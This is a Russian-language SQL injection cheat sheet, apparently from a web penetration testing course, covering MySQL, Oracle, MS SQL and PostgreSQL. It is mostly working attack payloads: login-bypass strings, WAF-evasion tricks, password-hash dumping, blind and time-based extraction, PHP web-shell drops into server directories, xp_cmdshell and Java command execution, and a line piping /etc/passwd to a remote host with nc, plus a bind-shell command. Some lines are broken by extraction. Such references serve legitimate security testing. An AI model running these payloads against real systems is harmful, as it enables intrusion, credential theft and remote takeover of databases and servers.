WAPT

Web Application Penetration Testing

6.2.3. SQL-injection (Cheat Sheet)

Оглавление

Обнаружение инъекции

```
'
%27 "
%22 #
%23
;
%3B
)
Wildcard (*)
%%2727
%25%27
`+HERP '||'DERP
'+'herp ' 'DERP
'%20'HERP
'%2B'HERP
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```

Определение типа базы данных

conv('a',16,2)=conv('a',16,2)	MYSQL
connection_id()=connection_id()	MYSQL
crc32('MySQL')=crc32('MySQL')	MYSQL
BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)	MYSQL
@@CONNECTIONS>0	MSSQL
@@CONNECTIONS=@@CONNECTIONS	MSSQL
@@CPU_BUSY=@@CPU_BUSY	MSSQL
USER_ID(1)=USER_ID(1)	MSSQL
ROWNUM=ROWNUM	ORACLE
RAWTOHEX('AB')=RAWTOHEX('AB')	ORACLE
LNNVL(0=123)	ORACLE
5::int=5	POSTGRESQL
5::integer=5	POSTGRESQL
pg_client_encoding()=pg_client_encoding()	POSTGRESQL
get_current_ts_config()=get_current_ts_co nfig()	POSTGRESQL
quote_literal(42.5)=quote_literal(42.5)	POSTGRESQL
current_database()=current_database()	POSTGRESQL
1337=1337	MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL
'i'='i'	MSACCESS,SQLI

Обход авторизации

```
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+ '="or'
' or "-'
' or " '
' or "&'
' or "^'
' or "*'
'-||0'
"-||0"
"-" " "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*" or true-- " or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x ")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1—
or 1=1#
or 1=1/*
 admin
' -- admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
```

```
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/* admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1
admin' or 1=1--
admin' or 1=1# admin' or 1=1/* admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055 admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
```

WAF bypass

```
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
?id=1/*comment*/and/**/1=1/**/--
?id=(1)and(1)=(1)--
LIMIT 0,1      -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4          -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN
(SELECT 3)c JOIN (SELECT 4)d
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1# AND -> &&
OR          -> ||
=           -> LIKE,REGEXP, not < and not >
> X         -> not between 0 and X
WHERE  -> HAVING
```

Определение количества колонок

```
order by 1
order by 2
order by 3
...
order by XXX
```

MySQL

Коментарии	# /* -- - ;%00

Получение версии	SELECT VERSION();
	SELECT @@VERSION;
	SELECT @@GLOBAL.VERSION;

Получение информации о пользователе	SELECT user()
	SELECT current_user() SELECT system_user() SELECT session_user() SELECT user,password FROM mysql.user;

Получение хэшей паролей	SELECT host, user, password FROM mysql.user;

Получение списка привилегий	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;
	
	SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user;
	
	SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges;
	
	SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges;

Получение текущей базы данных	SELECT database()
	SELECT db_name();
	SELECT database();
	
	SELECT schema_name FROM information_schema.schemata;

Вывод списка баз данных	SELECT schema_name FROM information_schema.schemata;
	SELECT distinct(db) FROM mysql.db

Вывод списка колонок	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
	SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename';

Вывод таблиц	SELECT table_name FROM information_schema.tables;
	SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

Поиск имени таблицы по колонкам, содержащимся в ней	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’;

Вывод определенной строки из запроса, содержащего больше 1 записи	SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0;
	SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1;

Вывод определенного символа	SELECT substr(‘abcd’, 3, 1);
Перевод кода символа в ASCII символ	SELECT char(65);
Перевод ASCII символа в код	SELECT ascii('A');

Приведения значений к определенному типу	SELECT cast('1' AS unsigned integer);
	SELECT cast('123' AS char);

Склеивание строк	SELECT CONCAT('A','B','C');
Конструкция IF	SELECT if(1=1,'foo','bar');
Конструкция CASE	SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;

Обход waf	SELECT 0×414243;
	CONCAT(CHAR(97), CHAR(98), CHAR(99))

Способы задержки времени	SELECT BENCHMARK(1000000,MD5(‘A’));
	SELECT SLEEP(5);

Получение доступа к локальному файлу	…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’;
Получение имени хоста	SELECT @@hostname;

Добавление нового пользователя	CREATE USER test1 IDENTIFIED BY ‘pass1‘;
Удаление пользователя	DROP USER test1;
Получение привелегий админа пользователем	GRANT ALL PRIVILEGES ON *.* TO test1@’%';
Получение директории в которой находится БД	SELECT @@datadir;
Базы по умолчанию	information_schema, mysql
Union based	UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name, 0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name, 0x7C)+fRoM+information_schema.tables+ wHeRe+table_schema=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name, 0x7C)+fRoM+information_schema.columns+ wHeRe+table_name=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM +..
Error based	(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION) ,0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a, floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+' AND updatexml(rand(),concat(CHAR(126),version(), CHAR(126)),null)- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR (126)) FROM information_schema.schemata LIMIT data_offset,1)),null)-- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126))

	FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)-- AND updatexml(rand(),concat(0x3a,(SEL ECT concat(CHAR(126),column_name,CHAR (126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)— AND updatexml(rand(),concat(0x3a,(SEL ECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)-- AND extractvalue(rand(),concat(CHAR(126),version(), CHAR(126)))-- AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR (126)) FROM information_schema.schemata LIMIT data_offset,1)))— AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))-- AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR (126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1))--

	AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(1 26)) FROM data_table.data_column LIMIT data_offset,1)))--
Blind based	' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 **Response:** HTTP/1.1 500 Internal Server Error ' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2 **Response:** HTTP/1.1 200 OK AND MAKE_SET(YOLO<(SELECT(length(vers ion()))),1) AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1) AND MAKE_SET(YOLO<(SELECT(length(concat(login, password)))),1) AND MAKE_SET(YOLO<ascii(substring(concat(login, password),POS,1)),1)
Time based	+BENCHMARK(40000000,SHA1(1337))+ '%2Bbenchmark(3200,SHA1(1))%2B' ' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 RLIKE SLEEP([SLEEPTIME]) OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
DIOS	(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [',table_schema,'] > ',table_name,' > ',column_name,0x7C))))a)# (select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [',column_data1,'] > ',column_data2,' > ',0x7C))))a)#

Drop shell	SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php" SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?> -1 UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php' [...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- - [...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

Oracle

Коментарии	- -

Получение версии	SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
	SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
	SELECT version FROM v$instance;

Получение информации о пользователе	SELECT user FROM dual
	SELECT username FROM all_users ORDER BY username;
	SELECT name FROM sys.user$;

Получение хэшей паролей	SELECT name, password, astatus FROM sys.user$
	SELECT name,spare4 FROM sys.user$

Получение списка привилегий	SELECT * FROM session_privs;
	SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’;

	SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’;
	SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

Получение списка аккаунтов админа	SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’;

Получение текущей базы данных	SELECT global_name FROM global_name;
	SELECT name FROM v$database;
	SELECT instance_name FROM v$instance;
	SELECT SYS.DATABASE_NAME FROM DUAL;

Вывод списка баз данных	SELECT DISTINCT owner FROM all_tables;

Вывод списка колонок	SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
	SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

Вывод таблиц	SELECT table_name FROM all_tables;
	SELECT owner, table_name FROM all_tables;

Поиск имени таблицы по колонкам содержащимся в ней	SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;
Вывод определенной строки из запроса содержащего больше 1 записи	SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9;
Вывод определенного символа	SELECT substr(‘abcd’, 3, 1) FROM dual;
Перевод кода символа в ASCII символ	SELECT chr(65) FROM dual;
Перевод ASCII символа в код	SELECT ascii(‘A’) FROM dual;

Приведения значений к определенному типу	SELECT CAST(1 AS char) FROM dual;
	SELECT CAST(’1’ AS int) FROM dual;

Склеивание строк	SELECT ‘A’ || ‘B’ FROM dual;
Конструкция IF	BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

Конструкция CASE	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;
	SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual;

Обход waf	SELECT chr(65) || chr(66) FROM dual;

Способы задержки времени	BEGIN DBMS_LOCK.SLEEP(5); END;
	SELECT UTL_INADDR.get_host_name(’10.0.0. 1’) FROM dual;
	SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual;
	SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;

Запросы DNS	SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
	SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;

Получение доступа к локальному файлу	SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;

Получения имени хоста	SELECT UTL_INADDR.get_host_name FROM dual;
	SELECT host_name FROM v$instance;
	SELECT UTL_INADDR.get_host_address FROM dual;
	SELECT UTL_INADDR.get_host_name(’10.0.0. 1’) FROM dual;

Получение директории в которой ДБ	SELECT name FROM V$DATAFILE;
Базы по умолчанию	SYSTEM SYSAUX
Error based	SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual SELECT rtrim(extract(xmlagg(xmlelement(" s", username || ',')),'/s').getstringval(),',') FROM all_users

Blind based	SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';
	SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)
	SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
	SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';
	SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';

Time based	AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])

Выполнение произвольного кода	BEGIN
	EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
	END;

	BEGIN EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; END; SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw (''637265617465206f72207265706c61636520616 e6420636f6d70696c65206a61766120736f757263 65206e616d6564202270776e7574696c22206173 20696d706f7274206a6176612e696f2e2a3b70756 26c696320636c6173732070776e7574696c7b7075 626c69632073746174696320537472696e672072 756e28537472696e6720617267732297b7472797b 42756666657265645265616465722206d72656164 3d6e6577204275666665726564526561646572228 6e657720496e70757453747265616d5265616465 722852756e74696d652e67657452756e74696d65 28292e65786563286172677292e676574496e70 757453747265616d282929293b20537472696e67 207374656d702c207374723d22223b207768696c 6528287374656d703d6d726561642e726561644c 696e6528292920213d6e756c6c29207374722b3d 7374656d702b225c6e223b206d726561642e636c 6f736528293b2072657475726e207374723b7d63 6174636828457863657074696f6e2065297b7265 7475726e20652e746f537472696 e6728293b7d7d7d''));

<table>
<tr><td></td><td>EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw (''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617229207265747475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e6729207265747475726e20537472696e672773b'')); end;')) results FROM dual

SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;</td></tr>
<tr><td><b>DIOS</b></td><td>') and 1=0 union select null,'"'>'||(select LISTAGG(table_name,'<li>') within group (ORDER BY table_name) from all_tables)||'<!--' ,NULL,NULL from dual --&lang=it

') and 1=0 union select null,'"'>'||(select wm_concat('<li>'||table_name||':' ||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120)||'<!--' ,NULL,NULL from dual --&lang=it

and 0=1 UNION+SELECT NULL,(select wm_concat('<li>'||table_name||':' ||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120)||'<!--',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--</td></tr>
</table>

MS SQL

Коментарии	– /* */
Получение версии	SELECT @@version

Получение информации о пользователе	SELECT user_name();
	SELECT system_user;
	SELECT user;
	SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
	SELECT name FROM master..syslogins

Получение хэшей паролей	SELECT name, password FROM master..sysxlogins
	SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
	SELECT name, password_hash FROM master.sys.sql_logins
	SELECT name + ‘-’ + master.sys.fn_varbintohexstr(pass word_hash) from master.sys.sql_logins

Получение списка привилегий	SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’);
	SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’);
	SELECT permission_name FROM master..fn_my_permissions(‘master ..syslogins’, ‘OBJECT’);
	SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);
	SELECT is_srvrolemember(‘sysadmin’);
	SELECT is_srvrolemember(‘dbcreator’);
	SELECT is_srvrolemember(‘bulkadmin’);

	SELECT is_srvrolemember(‘diskadmin’);
	SELECT is_srvrolemember(‘processadmin’);
	SELECT is_srvrolemember(‘serveradmin’);
	SELECT is_srvrolemember(‘setupadmin’);
	SELECT is_srvrolemember(‘securityadmin’);
	SELECT name FROM master..syslogins WHERE denylogin = 0;
	SELECT name FROM master..syslogins WHERE has access = 1;
	SELECT name FROM master..syslogins WHERE isntname = 0;
	SELECT name FROM master..syslogins WHERE isntgroup = 0;
	SELECT name FROM master..syslogins WHERE sysadmin = 1;
	SELECT name FROM master..syslogins WHERE securityadmin = 1;
	SELECT name FROM master..syslogins WHERE serveradmin = 1;
	SELECT name FROM master..syslogins WHERE setupadmin = 1;
	SELECT name FROM master..syslogins WHERE processadmin = 1;
	SELECT name FROM master..syslogins WHERE diskadmin = 1;
	SELECT name FROM master..syslogins WHERE dbcreator = 1;
	SELECT name FROM master..syslogins WHERE

	bulkadmin = 1;

Получение списка аккаунтов админа	SELECT is_srvrolemember(‘sysadmin’);
	SELECT is_srvrolemember(‘sysadmin’, ‘sa’); SELECT name FROM master..syslogins WHERE sysadmin = ’1’

Получение текущей базы данных	SELECT DB_NAME()
Вывод списка баз данных	SELECT name FROM master..sysdatabases; SELECT DB_NAME(N);

Вывод списка колонок	SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’);
	SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtyp e) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sys objects.id AND master..sysobjects.name=’sometable’;

Вывод таблиц	SELECT name FROM master..sysobjects WHERE xtype = ‘U’;
	SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
	SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtyp e) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sys objects.id AND master..sysobjects.name=’sometabl e’;

Поиск имени таблицы по колонкам содержащимся в ней	SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’
Вывод определенной строки из запроса содержащего больше 1 записи	SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC
Вывод определенного символа	SELECT substring(‘abcd’, 3, 1)
Перевод кода символа в ASCII символ	SELECT char(0×41)
Перевод ASCII символа в код	SELECT ascii(‘A’)

Приведение значений к определенному типу	SELECT CAST(’1’ as int);
	SELECT CAST(1 as char)

Склеивание строк	SELECT ‘A’ + ‘B’
Конструкция IF	IF (1=1) SELECT 1 ELSE SELECT 2
Конструкция CASE	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END
Обход waf	SELECT char(65)+char(66)
Способы задержки времени	WAITFOR DELAY ’0:0:5’

Выполнение произвольной команды	EXEC xp_cmdshell ‘net user’;
	EXEC sp_configure ‘show advanced options’, 1;
	RECONFIGURE;
	EXEC sp_configure ‘xp_cmdshell’, 1;
	RECONFIGURE;
	EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
	EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'

Получение доступа к локальному файлу	CREATE TABLE mydata (line varchar(8000));
	BULK INSERT mydata FROM ‘c:boot.ini’;
	DROP TABLE mydata;

Получение имени хоста	SELECT HOST_NAME()

Получение директории в которой находится БД	EXEC sp_helpdb master;
	EXEC sp_helpdb pubs;

Добавление нового пользователя	EXEC sp_addlogin ‘user’, ‘pass’;
Удаление пользователя	EXEC sp_droplogin ‘user’;
Повышение привилегий до администратора	EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin;
Базы по умолчанию	northwind model msdb pubs tempdb
Error based	convert(int,@@version) cast((SELECT @@version) as int) ' + convert(int,@@version) + ' ' + cast((SELECT @@version) as int) + '
Blind based	SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)

	SELECT message FROM data WHERE row = 1 and message like 't%'

Time based	ProductID=1;waitfor delay '0:0:10'--
	ProductID=1);waitfor delay '0:0:10'--
	ProductID=1';waitfor delay '0:0:10'--
	ProductID=1');waitfor delay '0:0:10'--
	ProductID=1));waitfor delay '0:0:10'--

DIOS	';BEGIN DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100) DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL) SET @counter = 1 SET @data=' injected by rummykhan :: '%2b@@version%2b'<br/>'%2bdb_name () SET @tblName = '' SET @colNames = '' WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES) BEGIN SET @colNames = '' SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl) SELECT @colNames = @colNames %2b' : '%2bcolumn_name FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName INSERT @tmpTbl VALUES(@tblName) SET @data=@data%2b'<br/><br/>Table : '%2b@tblName%2b'<br/>Columns : '%2b@colNames%2b'<br/>' SET @counter = @counter %2b 1 END SELECT @data AS output INTO Challenge END-- - ;BEGIN DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100) DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL) SET @counter = 1 SET @data = 'injected by rummykhan :: ' @@VERSION ' Database :: ' DB_NAME() SET @tblName = '' SET @colNames = '' WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES) BEGIN SET @colNames = '' SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl) SELECT @colNames = @colNames column_name ' :

	' FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName INSERT @tmpTbl VALUES(@tblName) SET @data = @data 'Table : ' @tblName ' Columns : ' @colNames SET @counter = @counter 1 END SELECT @data AS output INTO Challenge END-- -

PostgreSQL

Коментарии	SELECT 1; –comment
	SELECT /*comment*/1;

Получение версии	SELECT version()

Получение информации о пользователе	SELECT user;
	SELECT current_user;
	SELECT session_user;
	SELECT usename FROM pg_user;
	SELECT getpgusername();
	SELECT usename FROM pg_user

Получение хэшей паролей	SELECT usename, passwd FROM pg_shadow
Получение списка привелегий	SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
Получение текущей базы данных	SELECT current_database()
Вывод списка баз данных	SELECT datname FROM pg_database
Вывод списка колонок	SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
Вывод таблиц	SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c. oid)

Поиск имени таблицы по колонкам содержащимся в ней	SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;

Вывод определенной строки из запроса содержащего больше 1 записи	SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0;
	SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;

Вывод определенного символа	SELECT substr(‘abcd’, 3, 1);
Перевод кода символа в ASCII символ	SELECT chr(65);
Перевод ASCII символа в код	SELECT ascii(‘A’);
Приведения значений к определенному типу	SELECT CAST(1 as varchar); SELECT CAST(’1’ as int);
Склеивание строк	SELECT ‘A’ || ‘B’;
Конструкция CASE	SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;
Обход waf	SELECT CHR(65)||CHR(66);

Способы задержки времени	SELECT pg_sleep(10);
	CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6’, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10);

Выполнение произвольного кода	CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6’, ‘system’ LANGUAGE ‘C’ STRICT;
	SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080’);

Получение доступа к локальному файлу	CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’;
	…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1;
	…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2;

	DROP TABLE mytest mytest;
	CREATE TABLE mytable (mycol text);
	INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’); COPY mytable (mycol) TO ‘/tmp/test.php’;
	select pg_read_file('PG_VERSION', 0, 200);
	CREATE TABLE temp(t TEXT);
	COPY temp FROM '/etc/passwd'; SELECT * FROM temp limit 1 offset 0;

Получения имени хоста	SELECT inet_server_addr();
	SELECT inet_server_port();

Добавление нового пользователя	CREATE USER test1 PASSWORD ‘pass1’;
	CREATE USER test1 PASSWORD ‘pass1’ CREATEUSER;

Удаление пользователя	DROP USER test1;
Получение привилегий админа пользователю	ALTER USER test1 CREATEUSER CREATEDB;

Получение директории в которой ДБ	SELECT current_setting(‘data_directory’);
	SELECT current_setting(‘hba_file’);

Базы по умолчанию	Template0 template1
Error based	,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC) ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC-- ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC-

<table>
<tr><td></td><td>-

,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset
+data_offset)||chr(126)+as+nUmeRi C)</td></tr>
<tr><td><b>Time based</b></td><td>AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))

AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]0000 00))</td></tr>
<tr><td><b>Запись в файл</b></td><td>CREATE TABLE pentestlab (t TEXT); INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab; COPY pentestlab(t) TO '/tmp/pentestlab';</td></tr>
